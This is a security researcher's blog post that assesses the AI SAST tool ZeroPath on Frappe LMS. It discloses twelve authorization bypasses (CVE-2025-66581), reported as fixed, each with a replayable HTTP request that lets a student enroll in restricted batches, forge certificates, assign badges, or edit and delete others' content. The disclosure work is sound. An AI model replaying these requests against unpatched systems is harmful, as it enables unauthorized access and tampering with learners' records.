devansh

AI powered SAST : The New Frontier?

Table of Contents

Intro Lore

Most traditional SAST tools are good at spotting obvious issues like unsafe patterns, taint flows, or simple misconfigurations. But they usually struggle with the real-world bugs that matter most: authorization flaws, missing privilege checks, and business-logic issues. These require understanding how the system should work, not just how the code is written.

After reading Joshua's review of AI SAST tools and ZeroPath’s write-up on how they uncovered dozens of real vulnerabilities (including several in curl), I wanted to see how effective these tools actually are. I decided to start with ZeroPath, so I reached out to ZeroPath’s COO, Etienne Lunetta, who kindly gave me access to try it out.

My goal wasn’t to find typical Informative SAST findings/ missing best practices, which are mostly false positives. I wanted to test ZeroPath against authn/authz logic bugs, the type of vulnerabilities that trip up both developers and scanners.

To make the test meaningful, I needed a target that was:

That made Frappe LMS a perfect fit. It’s open source, widely deployed, built on the Frappe framework, and has layered roles like students, instructors, moderators, and evaluators. It also includes unpublished courses, restricted batches, assignment flows, and discussion systems, all great places for authorization bugs to hide.

Over the next two days, I combined ZeroPath’s findings with manual investigation. Some issues were discovered directly by ZeroPath; others weren’t flagged outright, but ZeroPath’s hints, paths, and sink tracing led me toward deeper flaws I might not have noticed on my own. It felt less like using a scanner and more like working with an assistant that points out suspicious areas worth digging into.

I found multiple security issues in Frappe LMS. We’ll discuss 12 of them here, as these are the ones covered under CVE-2025-66581.

This article walks through those findings as a practical look at how AI-augmented SAST can help uncover real logic bugs in RBAC-heavy applications, often with minimal human intervention. I’ll share closing thoughts on the strengths and limits of this approach at the end.

Vulnerabilities

Note: All the below mentioned vulnerabilities have now been fixed with the release of Frappe LMS v2.41.0

Unauthorized enrollment in unpublished or restricted batches

Summary: Any authenticated user can enroll into any batch (including unpublished or restricted ones) by calling enroll_in_batch with a batch name. The endpoint does not validate batch existence, visibility, enrollment window, or user eligibility.

Steps to Reproduce

  1. Authenticate as any user (student) and capture cookies + CSRF token.
  2. Send the following request with a target batch name (even unpublished/restricted):
POST /api/method/lms.lms.utils.enroll_in_batch HTTP/2
Host: {{HOST}}
Cookie: [student cookies]
Content-Type: application/json; charset=utf-8
X-Frappe-Csrf-Token: [student token]

{"batch": "{{BATCH_NAME}}"}
  1. Observe the batch enrollment in the UI

Impact: Students can self-enroll into private, invitation-only, or closed batches, bypassing access controls and undermining the batch-based access model.

Deleting sidebar pages as a student

Summary: The delete_sidebar_item API deletes sidebar pages using web_page only and does not check RBAC flags. A student can delete arbitrary sidebar pages created by moderators/instructors.

Steps to Reproduce

  1. As a moderator, create a sidebar page:
  2. As a student with valid cookies + CSRF token, send:
POST /api/method/lms.lms.api.delete_sidebar_item HTTP/2
Host: {{HOST}}
Cookie: [student cookies]
Content-Type: application/json; charset=utf-8
X-Frappe-Csrf-Token: [student token]

{"webpage":"{{SIDEBAR_NAME}}"}
  1. Confirm the sidebar page is deleted

Impact: Students can remove course navigation or important content pages, degrading course integrity and disrupting other learners’ experience.

Posting in unpublished batch discussions

Summary: Students can post discussion replies to topics from unpublished or unauthorized batches by inserting Discussion Reply documents directly via the generic insert endpoint. No checks are performed on batch visibility or membership.

Steps to Reproduce

  1. Authenticate as a student and identify/guess a topic id (e.g., TOPIC0001) from a restricted batch.

  2. Send:

POST /api/method/frappe.client.insert HTTP/2
Host: [your-instance-host]
Cookie: [student cookies]
Content-Type: application/json; charset=utf-8
X-Frappe-Site-Name: [your-instance-host]
X-Frappe-Csrf-Token: [student token]

{"doc":{"doctype":"Discussion Reply","reply":"<p>Posting for PoC, in private batch discussion</p>","topic":"TOPIC0001"}}
  1. Confirm the reply appears in the restricted discussion

Impact: Attackers can inject unauthorized content into private discussions, bypassing access controls and polluting restricted course conversations.

Editing others’ discussion replies

Summary: The frappe.client.set_value API allows students to edit any Discussion Reply by id without ownership or role checks. Only the reply name, field, and value are required.

Steps to Reproduce

  1. As a student, obtain the name of a target reply (e.g., REPLY0008).
  2. Send:
POST /api/method/frappe.client.set_value HTTP/2
Host: [your-instance-host]
Cookie: [student cookies]
Content-Type: application/json; charset=utf-8
X-Frappe-Site-Name: [your-site-name]
X-Frappe-Csrf-Token: [student token]

{"doctype":"Discussion Reply","name":"REPLY0008","fieldname":"reply","value":"<p>hello., this works? no way </p><p></p>"}
  1. Verify the reply content is updated

Impact: Any discussion reply can be tampered with, enabling misinformation, impersonation of instructors or peers, and loss of trust in discussion history.

Deleting others’ discussion replies

Summary: The generic frappe.client.delete endpoint permits deletion of any Discussion Reply document by name with no authorization checks. Students can delete replies from any user.

Steps to Reproduce

  1. As a student, obtain the name of a target reply (e.g., REPLY0008).
  2. Send:
POST /api/method/frappe.client.delete HTTP/2
Host: [your-instance-host]
Cookie: [student cookies]
Content-Type: application/json; charset=utf-8
X-Frappe-Site-Name: [your-site-name]
X-Frappe-Csrf-Token: [student token]

{"doctype":"Discussion Reply","name":"REPLY0008"}
  1. Observe the reply is removed from the UI

Impact: Attackers can silently remove others’ contributions, causing data loss, censorship, and breaking auditability of course discussions.

Adding arbitrary users to batches

Summary: Students can create LMS Batch Enrollment records via the generic insert API and add any user to any batch. The endpoint does not verify the requester’s role or batch permissions.

Steps to Reproduce

  1. As a student, pick a batch name and target email.
  2. Send:
POST /api/method/frappe.client.insert HTTP/2
Host: [your-instance-host]
Cookie: [student cookies]
Content-Type: application/json; charset=utf-8
X-Frappe-Site-Name: [your-site-name]
X-Frappe-Csrf-Token: [student token]

{"doc":{"doctype":"LMS Batch Enrollment","batch":"[batch-name]","member":"[target-email]"}}
  1. Confirm the enrollment gets created

Impact: Unauthorized users can be added to restricted cohorts, exposing course content and learner data and corrupting enrollment metrics.

Sending batch announcement emails as a student

Summary: The communication email endpoint accepts doctype=LMS Batch and a batch name without checking if the caller is an instructor or moderator. Students can send batch-wide announcement emails.

Steps to Reproduce

  1. As a student, identify a batch name and recipient list.
  2. Send:
POST /api/method/frappe.core.doctype.communication.email.make HTTP/2
Host: [your-instance-host]
Cookie: [student cookies]
Content-Type: application/json; charset=utf-8
X-Frappe-Site-Name: [your-site-name]
X-Frappe-Csrf-Token: [student token]

{"recipients":"[recipient-email]","bcc":"[bcc-emails]","subject":"here you go","content":"<p>no way it works</p>","doctype":"LMS Batch","name":"[batch-name]","send_email":1}
  1. Verify the email is sent and logged

Impact: Students can impersonate official batch communications, send spam or phishing-like messages, and erode trust in platform-generated emails.

Enrolling into unpublished programs

Summary: The lms.lms.utils.enroll_in_program endpoint enrolls the caller into any program by name without checking publication status or authorization. Students can self-enroll into private or unreleased programs.

Steps to Reproduce

  1. As a student, identify or guess a private program name.

  2. Send:

POST /api/method/lms.lms.utils.enroll_in_program HTTP/2
Host: [your-instance-host]
Cookie: [student cookies]
Content-Type: application/json; charset=utf-8
X-Frappe-Site-Name: [your-site-name]
X-Frappe-Csrf-Token: [student token]

{"program":"[private-program-name]"}
  1. Confirm successful enrollment in the UI / response

Impact: Unreleased or invite-only programs become accessible to unauthorized students, leaking draft content and breaking controlled rollouts.

Generating certificates without course completion

Summary: The lms_certificate.create_certificate endpoint creates certificates based solely on a course name and authenticated user. It does not verify course completion, progress, or approvals.

Steps to Reproduce

  1. As a student, pick any course name.
  2. Send:
POST /api/method/lms.lms.doctype.lms_certificate.lms_certificate.create_certificate HTTP/2
Host: [your-instance-host]
Cookie: [student cookies]
Content-Type: application/json; charset=utf-8
X-Frappe-Site-Name: [your-site-name]
X-Frappe-Csrf-Token: [student token]

{"course":"[course-name]"}
  1. Confirm a certificate is generated

Impact: Students can mint valid-looking certificates for courses they never completed, destroying the credibility of the LMS certification system.

Assigning badges to self or others

Summary: Students can insert LMS Badge Assignment documents via the generic insert API to grant any badge to any user. No permission checks ensure only staff can issue badges.

Steps to Reproduce

  1. As a student, identify a badge name and target user.
  2. Send:
POST /api/method/frappe.client.insert HTTP/2
Host: [your-instance-host]
Cookie: [student cookies]
Content-Type: application/json; charset=utf-8
X-Frappe-Site-Name: [your-site-name]
X-Frappe-Csrf-Token: [student token]

{"doc":{
    "doctype":"LMS Badge Assignment",
    "badge":"[badge-name]",
    "member":"[target-user-id-or-email]",
    "issued_on":"2025-11-11",
    "member_name":"",
    "member_username":"",
    "member_image":""
}}
  1. Verify the badge appears on the user profile

Impact: Reputation and achievement signals can be forged at will, undermining trust in badges and enabling social engineering based on fake “official” badges.

Editing course metadata as a student

Summary: The lms.lms.api.update_meta_info endpoint lets any authenticated user edit course metadata (description, keywords, etc.) using only the route. It does not enforce instructor/admin permissions.

Steps to Reproduce

  1. As a student, obtain a target course route.
  2. Send:
POST /api/method/lms.lms.api.update_meta_info HTTP/2
Host: [your-instance-host]
Cookie: [student cookies]
Content-Type: application/json; charset=utf-8
X-Frappe-Site-Name: [your-site-name]
X-Frappe-Csrf-Token: [student token]

{
  "type": "courses",
  "route": "[target-course-route]",
  "meta_tags": [
    {"key": "description", "value": "[attacker-controlled]"},
    {"key": "keywords", "value": "[attacker-controlled]"}
  ]
}
  1. Confirm metadata changes are reflected

Impact: Students can change how courses appear in the UI and search, inject misleading descriptions, and affect SEO or discovery for other learners.

Deleting others’ badge assignments

Summary: The generic frappe.client.delete endpoint allows deletion of LMS Badge Assignment documents by id for any authenticated user. Students can remove badges from any profile.

Steps to Reproduce

  1. As a student, obtain the id of a target badge assignment.
  2. Send:
POST /api/method/frappe.client.delete HTTP/2
Host: [your-instance-host]
Cookie: [student cookies]
Content-Type: application/json; charset=utf-8
X-Frappe-Site-Name: [your-site-name]
X-Frappe-Csrf-Token: [student token]

{"doctype": "LMS Badge Assignment","name": "[target-badge-assignment-id]"}
  1. Verify the badge is removed

Impact: Legitimate achievements can be silently removed, enabling harassment, tampering with academic records, and irreversible loss of recognition data.

Closing Thoughts

Working with ZeroPath gave me a realistic sense of where their AI-powered SAST tool currently shines and where it still needs improvement. All in all, the conclusion is AI tools are not replacements for human security engineers, but they can be incredibly effective force multipliers.

Where AI SAST Tools Excel

They surface non-obvious paths that humans might overlook. ZeroPath was able to point out subtle permission flows, missing checks, and inconsistent patterns across large sections of the codebase. Even when it didn’t fully identify a vulnerability, it highlighted enough context, functions, sinks, access paths, for me to investigate deeper and eventually uncover issues that weren’t explicitly flagged.

They dramatically reduce “time to understanding.” Instead of manually tracing the RBAC logic across dozens of files, the tool condensed the reasoning and directed me toward areas of interest. This compression of complexity is where AI SAST feels genuinely effective.

They are especially strong in RBAC-heavy applications. Frappe LMS is full of roles, workflows, and conditional checks. Most traditional SAST tools fail badly here because the vulnerabilities aren’t simple taint flows, they’re logical gaps. ZeroPath handled these surprisingly well, identifying many real authorization problems.

They provide structured guidance, not just noise. Unlike legacy scanners that produce endless false positives, ZeroPath’s explanations and reasoning felt targeted. Even when wrong, it was wrong in useful directions.

Where AI SAST Tools Still Fall Short

They can and do miss vulnerabilities. While ZeroPath caught a majority of the issues discussed in this article, it also missed some. However, the bugs it did detect gave me the necessary context to explore adjacent code paths and discover vulnerabilities that were otherwise invisible at first glance. This is the collaborative nature of AI SAST today, part automation, part augmentation.

Generated PoCs still need work. ZeroPath often generated PoCs in Python or as code snippets intended to interact with the API. In practice, many of these didn’t work for me out of the box. I had to tweak them, rewrite parts, or reformat them entirely. For workflow and authorization bugs, a raw HTTP request PoC (something I can drop into Burp and replay instantly) is far more useful than a Python script. Improving the PoC generation pipeline, especially toward application-layer HTTP, would make the tool much more efficient.

AI reasoning can be correct but incomplete. Sometimes ZeroPath accurately diagnosed the root problem but under reported the impact, or failed to link it across related modules. These are issues that require human judgment, especially when dealing with nuanced privilege boundaries.

AI tools depend heavily on input clarity. The more structured and consistent the codebase, the better the results. In messy real-world applications, AI SAST can misinterpret patterns or lose context if the code deviates too far from expected conventions.

The Bigger Picture

Despite these limitations, the overall experience was positive. AI SAST is not about replacing human security engineers, it’s about enabling them to work at a scale and speed that was previously impossible. ZeroPath didn’t just hand me vulnerabilities; it helped me develop a map of the application, pointed me toward weak spots, and sharpened my intuition about where checks should exist but didn’t.

In a real sense, it acted as a high-bandwidth assistant, not an automated scanner.

The 12 issues covered under CVE-2025-66581 represent the outcome of that partnership, a mix of machine-discovered and human-validated findings, each stronger because of the combination.

As these tools evolve, I expect improvements in:

AI SAST is still early, but the trajectory is promising. With the right feedback loops, orchestration we’re heading toward a future where discovering logical vulnerabilities is faster, more accessible, and far more systematic than ever before. Can it find novel issues? For now, No. But overall, addition of these tools to your existing workflow improves your efficiency and detects logical bugs much quicker, before they ever hit production.